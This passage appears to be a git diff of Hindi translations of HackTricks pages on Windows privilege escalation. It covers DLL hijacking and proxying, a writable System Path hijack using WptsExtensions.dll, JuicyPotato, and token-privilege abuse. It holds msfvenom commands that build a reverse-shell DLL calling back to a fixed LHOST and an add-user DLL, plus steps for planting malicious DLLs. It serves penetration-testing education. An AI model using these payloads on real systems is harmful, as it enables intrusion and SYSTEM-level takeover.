आवश्यक कार्यों को निर्यात करने वाले dll** बनाने के लिए उपयोगी हो सकते हैं। -## **Dlls बनाना और संकलित करना** +## **Creating and compiling Dlls** -### **Dll प्रॉक्सीफाइंग** +### **Dll Proxifying** -बुनियादी रूप से एक **Dll प्रॉक्सी** एक Dll है जो **लोड होने पर आपके दुर्भावनापूर्ण कोड को निष्पादित करने में सक्षम है** लेकिन साथ ही **प्रदर्शित** और **काम** करने के लिए **वास्तविक पुस्तकालय को सभी कॉल को रिले करके**। +बुनियादी रूप से एक **Dll proxy** एक Dll है जो **लोड होने पर आपके दुर्भावनापूर्ण कोड को निष्पादित** करने में सक्षम है लेकिन साथ ही **प्रदर्शित** और **काम** करने के लिए **वास्तविक पुस्तकालय** को सभी कॉल को रिले करके **exected** के रूप में। -उपकरण [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) या [**Spartacus**](https://github.com/Accenture/Spartacus) के साथ, आप वास्तव में **एक निष्पादन योग्य फ़ाइल निर्दिष्ट कर सकते हैं और उस पुस्तकालय का चयन कर सकते हैं** जिसे आप प्रॉक्सीफाई करना चाहते हैं और **एक प्रॉक्सीफाइड dll उत्पन्न कर सकते हैं** या **Dll निर्दिष्ट कर सकते हैं** और **एक प्रॉक्सीफाइड dll उत्पन्न कर सकते हैं**। +उपकरण [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) या [**Spartacus**](https://github.com/Accenture/Spartacus) के साथ आप वास्तव में **एक executable निर्दिष्ट कर सकते हैं और उस पुस्तकालय का चयन कर सकते हैं** जिसे आप proxify करना चाहते हैं और **एक proxified dll उत्पन्न कर सकते हैं** या **Dll निर्दिष्ट कर सकते हैं** और **एक proxified dll उत्पन्न कर सकते हैं**। ### **Meterpreter** -**रिव शेल प्राप्त करें (x64):** +**Get rev shell (x64):** ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll ``` @@ -132,7 +132,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll ``` ### आपका अपना -ध्यान दें कि कई मामलों में, Dll जिसे आप संकलित करते हैं, उसे **कई फ़ंक्शन निर्यात** करने चाहिए जो पीड़ित प्रक्रिया द्वारा लोड किए जाएंगे, यदि ये फ़ंक्शन मौजूद नहीं हैं तो **बाइनरी उन्हें लोड नहीं कर पाएगी** और **शोषण विफल हो जाएगा**। +ध्यान दें कि कई मामलों में, Dll जिसे आप संकलित करते हैं, उसे **कई फ़ंक्शन निर्यात** करने चाहिए जो पीड़ित प्रक्रिया द्वारा लोड किए जाएंगे, यदि ये फ़ंक्शन मौजूद नहीं हैं तो **बाइनरी उन्हें लोड करने में असमर्थ होगी** और **शोषण विफल हो जाएगा**। ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared @@ -215,7 +215,7 @@ return TRUE; ``` ## केस अध्ययन: CVE-2025-1729 - TPQMAssistant.exe का उपयोग करके विशेषाधिकार वृद्धि -यह मामला **Phantom DLL Hijacking** को दर्शाता है जो Lenovo के TrackPoint Quick Menu (`TPQMAssistant.exe`) में है, जिसे **CVE-2025-1729** के रूप में ट्रैक किया गया है। +यह मामला **Phantom DLL Hijacking** को प्रदर्शित करता है जो Lenovo के TrackPoint Quick Menu (`TPQMAssistant.exe`) में है, जिसे **CVE-2025-1729** के रूप में ट्रैक किया गया है। ### भेद्यता विवरण @@ -254,9 +254,7 @@ Lenovo ने Microsoft Store के माध्यम से UWP संस् - [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe) - [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng) - - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index 566524e40..5da9e65f9 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -4,12 +4,13 @@ ## Introduction -यदि आप पाते हैं कि आप **System Path फ़ोल्डर में लिख सकते हैं** (ध्यान दें कि यह तब काम नहीं करेगा जब आप User Path फ़ोल्डर में लिख सकते हैं) तो यह संभव है कि आप **system में privileges बढ़ा सकते हैं**। +यदि आप पाते हैं कि आप **System Path फ़ोल्डर में लिख सकते हैं** (ध्यान दें कि यदि आप User Path फ़ोल्डर में लिख सकते हैं तो यह काम नहीं करेगा) तो यह संभव है कि आप **privileges बढ़ा सकते हैं** सिस्टम में। -इसके लिए आप **Dll Hijacking** का दुरुपयोग कर सकते हैं जहाँ आप एक **library को हाईजैक करने जा रहे हैं** जिसे एक सेवा या प्रक्रिया द्वारा **आपसे अधिक privileges** के साथ लोड किया जा रहा है, और क्योंकि वह सेवा एक Dll लोड कर रही है जो शायद पूरे सिस्टम में मौजूद भी नहीं है, यह इसे उस System Path से लोड करने की कोशिश करेगी जहाँ आप लिख सकते हैं। +इसके लिए आप **Dll Hijacking** का दुरुपयोग कर सकते हैं जहाँ आप एक **लाइब्रेरी को हाईजैक करने जा रहे हैं** जिसे एक सेवा या प्रक्रिया द्वारा **आपसे अधिक privileges** के साथ लोड किया जा रहा है, और क्योंकि वह सेवा एक Dll लोड कर रही है जो शायद पूरे सिस्टम में मौजूद नहीं है, यह इसे उस System Path से लोड करने की कोशिश करेगी जहाँ आप लिख सकते हैं। **Dll Hijacking क्या है** के बारे में अधिक जानकारी के लिए देखें: + {{#ref}} ./ {{#endref}} @@ -40,10 +41,10 @@ $newPath = "$envPath;$folderPath" } ``` - **`procmon`** लॉन्च करें और **`Options`** --> **`Enable boot logging`** पर जाएं और प्रॉम्प्ट में **`OK`** दबाएं। -- फिर, **रीबूट** करें। जब कंप्यूटर पुनः चालू होगा, **`procmon`** घटनाओं को ASAP **रिकॉर्ड करना** शुरू कर देगा। +- फिर, **रीबूट** करें। जब कंप्यूटर पुनः चालू होगा, **`procmon`** तुरंत घटनाओं को **रिकॉर्ड करना** शुरू कर देगा। - एक बार जब **Windows** **शुरू हो जाए, `procmon`** को फिर से चलाएं, यह आपको बताएगा कि यह चल रहा है और **आपसे पूछेगा कि क्या आप घटनाओं को एक फ़ाइल में स्टोर करना चाहते हैं**। **हाँ** कहें और **घटनाओं को एक फ़ाइल में स्टोर करें**। - **फाइल** **जनरेट** होने के बाद, खोले हुए **`procmon`** विंडो को **बंद** करें और **घटनाओं की फ़ाइल** खोलें। -- ये **फिल्टर** जोड़ें और आप सभी Dlls पाएंगे जो कुछ **प्रोसेस ने Writable System Path फ़ोल्डर से लोड करने की कोशिश की**: +- ये **फिल्टर** जोड़ें और आप सभी Dlls पाएंगे जो कुछ **प्रोसेस ने** लिखने योग्य सिस्टम पथ फ़ोल्डर से **लोड करने की कोशिश की**:
@@ -65,18 +66,18 @@ $newPath = "$envPath;$folderPath" ### शोषण -तो, **अधिकारों को बढ़ाने** के लिए हम **WptsExtensions.dll** लाइब्रेरी को हाईजैक करने जा रहे हैं। **पथ** और **नाम** होने के साथ, हमें बस **दुष्ट dll** **जनरेट** करने की आवश्यकता है। +तो, **अधिकारों को बढ़ाने** के लिए हम **WptsExtensions.dll** पुस्तकालय को हाईजैक करने जा रहे हैं। **पथ** और **नाम** होने के साथ, हमें बस **दुष्ट dll** **जनरेट** करने की आवश्यकता है। -आप [**इन उदाहरणों में से किसी का उपयोग करने की कोशिश कर सकते हैं**](#creating-and-compiling-dlls)। आप पे लोड चला सकते हैं जैसे: एक रिव शेल प्राप्त करें, एक उपयोगकर्ता जोड़ें, एक बीकन निष्पादित करें... +आप [**इन उदाहरणों में से किसी का उपयोग करने की कोशिश कर सकते हैं**](#creating-and-compiling-dlls)। आप ऐसे पे लोड चला सकते हैं: एक रिव शेल प्राप्त करें, एक उपयोगकर्ता जोड़ें, एक बीकन निष्पादित करें... > [!WARNING] -> ध्यान दें कि **सभी सेवाएं** **`NT AUTHORITY\SYSTEM`** के साथ **नहीं चलतीं**, कुछ **`NT AUTHORITY\LOCAL SERVICE`** के साथ भी चलती हैं, जिनके पास **कम अधिकार** होते हैं और आप **नया उपयोगकर्ता नहीं बना पाएंगे** और इसके अनुमतियों का दुरुपयोग नहीं कर पाएंगे।\ -> हालाँकि, उस उपयोगकर्ता के पास **`seImpersonate`** विशेषाधिकार है, इसलिए आप [**पोटैटो सूट का उपयोग करके अधिकारों को बढ़ा सकते हैं**](../roguepotato-and-printspoofer.md)। इसलिए, इस मामले में एक रिव शेल एक बेहतर विकल्प है बजाय एक उपयोगकर्ता बनाने की कोशिश करने के। +> ध्यान दें कि **सभी सेवाएं** **`NT AUTHORITY\SYSTEM`** के साथ **नहीं चलतीं**, कुछ **`NT AUTHORITY\LOCAL SERVICE`** के साथ भी चलती हैं, जिनके पास **कम अधिकार** होते हैं और आप **नया उपयोगकर्ता बनाने** के लिए उनके अनुमतियों का दुरुपयोग नहीं कर पाएंगे।\ +> हालाँकि, उस उपयोगकर्ता के पास **`seImpersonate`** विशेषाधिकार है, इसलिए आप [**पोटैटो सूट का उपयोग करके अधिकार बढ़ा सकते हैं**](../roguepotato-and-printspoofer.md)। इसलिए, इस मामले में एक रिव शेल एक बेहतर विकल्प है बजाय एक उपयोगकर्ता बनाने की कोशिश करने के। लेखन के समय **टास्क शेड्यूलर** सेवा **Nt AUTHORITY\SYSTEM** के साथ चल रही है। -**दुष्ट Dll** (_मेरे मामले में मैंने x64 रिव शेल का उपयोग किया और मुझे एक शेल वापस मिला लेकिन डिफेंडर ने इसे मार दिया क्योंकि यह msfvenom से था_) को Writable System Path में **WptsExtensions.dll** नाम से सहेजें और कंप्यूटर को **रीस्टार्ट** करें (या सेवा को पुनः चालू करें या प्रभावित सेवा/प्रोग्राम को फिर से चलाने के लिए जो भी करना हो)। +**दुष्ट Dll** (_मेरे मामले में मैंने x64 रिव शेल का उपयोग किया और मुझे एक शेल वापस मिला लेकिन डिफेंडर ने इसे मार दिया क्योंकि यह msfvenom से था_) जनरेट करने के बाद, इसे लिखने योग्य सिस्टम पथ में **WptsExtensions.dll** नाम से सहेजें और कंप्यूटर को **रीस्टार्ट** करें (या सेवा को पुनः प्रारंभ करें या प्रभावित सेवा/प्रोग्राम को फिर से चलाने के लिए जो भी करना हो करें)। -जब सेवा फिर से शुरू होती है, तो **dll को लोड और निष्पादित किया जाना चाहिए** (आप **procmon** ट्रिक का **पुनः उपयोग** कर सकते हैं यह जांचने के लिए कि **लाइब्रेरी अपेक्षित रूप से लोड हुई थी**)। +जब सेवा पुनः प्रारंभ होती है, तो **dll को लोड और निष्पादित किया जाना चाहिए** (आप **procmon** ट्रिक का **पुनः उपयोग** कर सकते हैं यह जांचने के लिए कि **पुस्तकालय अपेक्षित रूप से लोड हुआ था**)। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 6a6017d6c..6d7627fd6 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato Windows Server 2019 और Windows 10 build 1809 से आगे काम नहीं करता है। हालांकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। _**जांचें:**_ +> [!WARNING] > **JuicyPotato Windows Server 2019 और Windows 10 build 1809 से काम नहीं करता है। हालांकि, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) का उपयोग **समान विशेषाधिकारों का लाभ उठाने और `NT AUTHORITY\SYSTEM`** स्तर की पहुंच प्राप्त करने के लिए किया जा सकता है। _**जांचें:**_ {{#ref}} roguepotato-and-printspoofer.md @@ -10,7 +10,7 @@ roguepotato-and-printspoofer.md ## Juicy Potato (सुनहरे विशेषाधिकारों का दुरुपयोग) -_एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, जिसमें थोड़ा रस है, यानी **एक और स्थानीय विशेषाधिकार वृद्धि उपकरण, Windows सेवा खातों से NT AUTHORITY\SYSTEM**_ +_एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, जिसमें थोड़ा सा जूस है, यानी **एक और स्थानीय विशेषाधिकार वृद्धि उपकरण, Windows सेवा खातों से NT AUTHORITY\SYSTEM**_ #### आप juicypotato को [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) से डाउनलोड कर सकते हैं @@ -18,7 +18,7 @@ _एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.co [**juicy-potato Readme से**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [वैरिएंट्स](https://github.com/decoder-it/lonelypotato) विशेषाधिकार वृद्धि श्रृंखला का लाभ उठाते हैं जो [`BITS`]() [सेवा](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) पर आधारित है जिसमें `127.0.0.1:6666` पर MiTM श्रोता है और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार होते हैं। एक Windows निर्माण समीक्षा के दौरान, हमने एक सेटअप पाया जहां `BITS` जानबूझकर बंद था और पोर्ट `6666` लिया गया था। +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) और इसके [वेरिएंट](https://github.com/decoder-it/lonelypotato) विशेषाधिकार वृद्धि श्रृंखला का लाभ उठाते हैं जो [`BITS`]() [सेवा](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) पर आधारित है जिसमें `127.0.0.1:6666` पर MiTM श्रोता है और जब आपके पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार होते हैं। एक Windows बिल्ड समीक्षा के दौरान, हमने एक सेटअप पाया जहां `BITS` जानबूझकर बंद था और पोर्ट `6666` लिया गया था। हमने [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) को हथियार बनाने का निर्णय लिया: **Juicy Potato को नमस्ते कहें**। @@ -32,7 +32,7 @@ _एक मीठा संस्करण_ [_RottenPotatoNG_](https://github.co कुछ परीक्षणों के बाद, हमने कई Windows संस्करणों पर [दिलचस्प CLSID की एक विस्तृत सूची प्राप्त की और परीक्षण किया](http://ohpe.it/juicy-potato/CLSID/)। -### रसदार विवरण +### Juicy विवरण JuicyPotato आपको अनुमति देता है: @@ -40,8 +40,8 @@ JuicyPotato आपको अनुमति देता है: - **COM सुनने वाला पोर्ट** _आप पसंद का COM सुनने वाला पोर्ट परिभाषित करें (हार्डकोडेड 6666 के बजाय)_ - **COM सुनने वाला IP पता** _किसी भी IP पर सर्वर को बाइंड करें_ - **प्रक्रिया निर्माण मोड** _अनुकरण किए गए उपयोगकर्ता के विशेषाधिकार के आधार पर आप चुन सकते हैं:_ -- `CreateProcessWithToken` (कोई `SeImpersonate` की आवश्यकता है) -- `CreateProcessAsUser` (कोई `SeAssignPrimaryToken` की आवश्यकता है) +- `CreateProcessWithToken` (को `SeImpersonate` की आवश्यकता है) +- `CreateProcessAsUser` (को `SeAssignPrimaryToken` की आवश्यकता है) - `दोनों` - **लॉन्च करने के लिए प्रक्रिया** _यदि शोषण सफल होता है तो एक निष्पादन योग्य या स्क्रिप्ट लॉन्च करें_ - **प्रक्रिया तर्क** _लॉन्च की गई प्रक्रिया के तर्कों को अनुकूलित करें_ @@ -68,11 +68,11 @@ Optional args: ``` ### अंतिम विचार -[**जुसी-पोटैटो Readme से**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** +[**juicy-potato Readme से**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** यदि उपयोगकर्ता के पास `SeImpersonate` या `SeAssignPrimaryToken` विशेषाधिकार हैं तो आप **SYSTEM** हैं। -इन सभी COM सर्वरों के दुरुपयोग को रोकना लगभग असंभव है। आप `DCOMCNFG` के माध्यम से इन वस्तुओं के अनुमतियों को संशोधित करने के बारे में सोच सकते हैं, लेकिन शुभकामनाएँ, यह चुनौतीपूर्ण होने वाला है। +इन सभी COM सर्वरों के दुरुपयोग को रोकना लगभग असंभव है। आप `DCOMCNFG` के माध्यम से इन वस्तुओं के अनुमतियों को संशोधित करने के बारे में सोच सकते हैं लेकिन शुभकामनाएँ, यह चुनौतीपूर्ण होने वाला है। वास्तविक समाधान संवेदनशील खातों और अनुप्रयोगों की सुरक्षा करना है जो `* SERVICE` खातों के तहत चलते हैं। `DCOM` को रोकना निश्चित रूप से इस शोषण को रोक देगा लेकिन इससे अंतर्निहित OS पर गंभीर प्रभाव पड़ सकता है। @@ -105,7 +105,7 @@ c:\Users\Public> ## CLSID समस्याएँ -अक्सर, JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID **काम नहीं करता** और एक्सप्लॉइट विफल हो जाता है। आमतौर पर, एक **काम करने वाला CLSID** खोजने के लिए कई प्रयासों की आवश्यकता होती है। एक विशिष्ट ऑपरेटिंग सिस्टम के लिए प्रयास करने के लिए CLSIDs की सूची प्राप्त करने के लिए, आपको इस पृष्ठ पर जाना चाहिए: +अक्सर, JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID **काम नहीं करता** है और एक्सप्लॉइट विफल हो जाता है। आमतौर पर, एक **काम करने वाले CLSID** को खोजने के लिए कई प्रयासों की आवश्यकता होती है। एक विशिष्ट ऑपरेटिंग सिस्टम के लिए प्रयास करने के लिए CLSIDs की सूची प्राप्त करने के लिए, आपको इस पृष्ठ पर जाना चाहिए: {{#ref}} https://ohpe.it/juicy-potato/CLSID/ @@ -115,11 +115,11 @@ https://ohpe.it/juicy-potato/CLSID/ पहले, आपको juicypotato.exe के अलावा कुछ निष्पादन योग्य फ़ाइलों की आवश्यकता होगी। -[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) डाउनलोड करें और इसे अपने PS सत्र में लोड करें, और [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) डाउनलोड करें और निष्पादित करें। यह स्क्रिप्ट परीक्षण के लिए संभावित CLSIDs की एक सूची बनाएगी। +[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) डाउनलोड करें और इसे अपने PS सत्र में लोड करें, और [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) डाउनलोड और निष्पादित करें। यह स्क्रिप्ट परीक्षण के लिए संभावित CLSIDs की एक सूची बनाएगी। -फिर [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)डाउनलोड करें (CLSID सूची और juicypotato निष्पादन योग्य के लिए पथ बदलें) और इसे निष्पादित करें। यह हर CLSID को आजमाना शुरू कर देगा, और **जब पोर्ट नंबर बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**। +फिर [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)डाउनलोड करें (CLSID सूची और juicypotato निष्पादन योग्य के लिए पथ बदलें) और इसे निष्पादित करें। यह हर CLSID को आज़माना शुरू कर देगा, और **जब पोर्ट नंबर बदलता है, तो इसका मतलब होगा कि CLSID काम कर गया**। -**परामर्श -c** का उपयोग करके काम करने वाले CLSIDs की **जांच करें** +**पैरामीटर -c का उपयोग करके** काम करने वाले CLSIDs की **जांच करें** ## संदर्भ diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index 102758c0d..ad9364da7 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -10,11 +10,11 @@ access-tokens.md {{#endref}} -**शायद आप पहले से मौजूद टोकनों का दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं** +**शायद आप पहले से मौजूद टोकनों का दुरुपयोग करके विशेषाधिकार बढ़ा सकें** ### SeImpersonatePrivilege -यह विशेषाधिकार किसी भी प्रक्रिया द्वारा धारण किया जाता है जो किसी भी टोकन का अनुकरण (लेकिन निर्माण नहीं) करने की अनुमति देता है, बशर्ते कि इसके लिए एक हैंडल प्राप्त किया जा सके। एक विशेषाधिकार प्राप्त टोकन को Windows सेवा (DCOM) से NTLM प्रमाणीकरण को एक एक्सप्लॉइट के खिलाफ करने के लिए प्रेरित करके प्राप्त किया जा सकता है, जिससे SYSTEM विशेषाधिकार के साथ एक प्रक्रिया को निष्पादित करने की अनुमति मिलती है। इस भेद्यता का लाभ विभिन्न उपकरणों का उपयोग करके उठाया जा सकता है, जैसे [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (जिसके लिए winrm को अक्षम करना आवश्यक है), [SweetPotato](https://github.com/CCob/SweetPotato), और [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +यह विशेषाधिकार किसी भी प्रक्रिया द्वारा धारण किया जाता है जो किसी भी टोकन का अनुकरण (लेकिन निर्माण नहीं) करने की अनुमति देता है, बशर्ते कि इसके लिए एक हैंडल प्राप्त किया जा सके। एक विशेषाधिकार प्राप्त टोकन को Windows सेवा (DCOM) से NTLM प्रमाणीकरण को एक एक्सप्लॉइट के खिलाफ करने के लिए प्रेरित करके प्राप्त किया जा सकता है, जिससे SYSTEM विशेषाधिकार के साथ एक प्रक्रिया को निष्पादित करने की अनुमति मिलती है। इस भेद्यता का लाभ विभिन्न उपकरणों का उपयोग करके उठाया जा सकता है, जैसे [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (जिसके लिए winrm को बंद करना आवश्यक है), [SweetPotato](https://github.com/CCob/SweetPotato), और [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} roguepotato-and-printspoofer.md @@ -27,22 +27,22 @@ juicypotato.md ### SeAssignPrimaryPrivilege यह **SeImpersonatePrivilege** के समान है, यह एक विशेषाधिकार प्राप्त टोकन प्राप्त करने के लिए **समान विधि** का उपयोग करेगा।\ -फिर, यह विशेषाधिकार **एक प्राथमिक टोकन** को एक नए/निलंबित प्रक्रिया को असाइन करने की अनुमति देता है। विशेषाधिकार प्राप्त अनुकरण टोकन के साथ आप एक प्राथमिक टोकन (DuplicateTokenEx) उत्पन्न कर सकते हैं।\ -इस टोकन के साथ, आप 'CreateProcessAsUser' के साथ एक **नई प्रक्रिया** बना सकते हैं या एक प्रक्रिया को निलंबित कर सकते हैं और **टोकन सेट कर सकते हैं** (सामान्यतः, आप एक चल रही प्रक्रिया के प्राथमिक टोकन को संशोधित नहीं कर सकते)। +फिर, यह विशेषाधिकार **एक नए/स्थगित प्रक्रिया** को एक प्राथमिक टोकन असाइन करने की अनुमति देता है। विशेषाधिकार प्राप्त अनुकरण टोकन के साथ आप एक प्राथमिक टोकन (DuplicateTokenEx) उत्पन्न कर सकते हैं।\ +इस टोकन के साथ, आप 'CreateProcessAsUser' के साथ एक **नई प्रक्रिया** बना सकते हैं या एक प्रक्रिया को स्थगित कर सकते हैं और **टोकन सेट कर सकते हैं** (सामान्यतः, आप एक चल रही प्रक्रिया के प्राथमिक टोकन को संशोधित नहीं कर सकते)। ### SeTcbPrivilege -यदि आपने इस टोकन को सक्षम किया है, तो आप **KERB_S4U_LOGON** का उपयोग करके किसी अन्य उपयोगकर्ता के लिए **अनुकरण टोकन** प्राप्त कर सकते हैं बिना क्रेडेंशियल्स को जाने, **टोकन में एक मनमाना समूह** (admins) जोड़ सकते हैं, टोकन के **अखंडता स्तर** को "**मध्यम**" पर सेट कर सकते हैं, और इस टोकन को **वर्तमान थ्रेड** पर असाइन कर सकते हैं (SetThreadToken)। +यदि आपने इस टोकन को सक्षम किया है, तो आप **KERB_S4U_LOGON** का उपयोग करके किसी अन्य उपयोगकर्ता के लिए **अनुकरण टोकन** प्राप्त कर सकते हैं बिना क्रेडेंशियल्स को जाने, **टोकन में एक मनमाना समूह** (admins) जोड़ सकते हैं, टोकन के **इंटीग्रिटी लेवल** को "**मध्यम**" पर सेट कर सकते हैं, और इस टोकन को **वर्तमान थ्रेड** पर असाइन कर सकते हैं (SetThreadToken)। ### SeBackupPrivilege -यह विशेषाधिकार किसी भी फ़ाइल (पढ़ने के संचालन तक सीमित) के लिए **सभी पढ़ने की पहुंच** नियंत्रण प्रदान करता है। इसका उपयोग **स्थानीय व्यवस्थापक** खातों के पासवर्ड हैश को रजिस्ट्री से पढ़ने के लिए किया जाता है, जिसके बाद, जैसे उपकरणों का उपयोग किया जा सकता है "**psexec**" या "**wmiexec**" हैश के साथ (Pass-the-Hash तकनीक)। हालाँकि, यह तकनीक दो स्थितियों में विफल होती है: जब स्थानीय व्यवस्थापक खाता अक्षम होता है, या जब एक नीति लागू होती है जो दूरस्थ रूप से कनेक्ट करने वाले स्थानीय व्यवस्थापकों से प्रशासनिक अधिकार हटा देती है।\ +यह विशेषाधिकार किसी भी फ़ाइल (पढ़ने के संचालन तक सीमित) को **सभी पढ़ने की पहुंच** नियंत्रण देने के लिए प्रणाली को मजबूर करता है। इसका उपयोग **स्थानीय व्यवस्थापक** खातों के पासवर्ड हैश को रजिस्ट्री से पढ़ने के लिए किया जाता है, जिसके बाद, "**psexec**" या "**wmiexec**" जैसे उपकरणों का उपयोग हैश के साथ किया जा सकता है (Pass-the-Hash तकनीक)। हालाँकि, यह तकनीक दो स्थितियों में विफल होती है: जब स्थानीय व्यवस्थापक खाता अक्षम होता है, या जब एक नीति लागू होती है जो दूरस्थ रूप से कनेक्ट करने वाले स्थानीय व्यवस्थापकों से प्रशासनिक अधिकार हटा देती है।\ आप इस विशेषाधिकार का **दुरुपयोग** कर सकते हैं: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) - **IppSec** का पालन करते हुए [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- या जैसा कि समझाया गया है **Backup Operators के साथ विशेषाधिकार बढ़ाने** के अनुभाग में: +- या जैसा कि **Backup Operators के साथ विशेषाधिकार बढ़ाने** के अनुभाग में समझाया गया है: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -54,19 +54,19 @@ juicypotato.md ### SeCreateTokenPrivilege -SeCreateTokenPrivilege एक शक्तिशाली अनुमति है, विशेष रूप से तब उपयोगी जब एक उपयोगकर्ता के पास टोकनों का अनुकरण करने की क्षमता हो, लेकिन SeImpersonatePrivilege की अनुपस्थिति में भी। यह क्षमता उस टोकन के अनुकरण की क्षमता पर निर्भर करती है जो उसी उपयोगकर्ता का प्रतिनिधित्व करता है और जिसका अखंडता स्तर वर्तमान प्रक्रिया के स्तर से अधिक नहीं होता है। +SeCreateTokenPrivilege एक शक्तिशाली अनुमति है, विशेष रूप से तब उपयोगी होती है जब एक उपयोगकर्ता के पास टोकनों का अनुकरण करने की क्षमता होती है, लेकिन SeImpersonatePrivilege की अनुपस्थिति में भी। यह क्षमता उस टोकन के अनुकरण करने की क्षमता पर निर्भर करती है जो उसी उपयोगकर्ता का प्रतिनिधित्व करता है और जिसका इंटीग्रिटी लेवल वर्तमान प्रक्रिया के स्तर से अधिक नहीं होता है। **मुख्य बिंदु:** -- **SeImpersonatePrivilege के बिना अनुकरण:** विशेष परिस्थितियों में टोकनों का अनुकरण करके EoP के लिए SeCreateTokenPrivilege का लाभ उठाना संभव है। -- **टोकन अनुकरण के लिए शर्तें:** सफल अनुकरण के लिए लक्षित टोकन को उसी उपयोगकर्ता का होना चाहिए और इसका अखंडता स्तर उस प्रक्रिया के अखंडता स्तर के बराबर या कम होना चाहिए जो अनुकरण करने का प्रयास कर रही है। -- **अनुकरण टोकनों का निर्माण और संशोधन:** उपयोगकर्ता एक अनुकरण 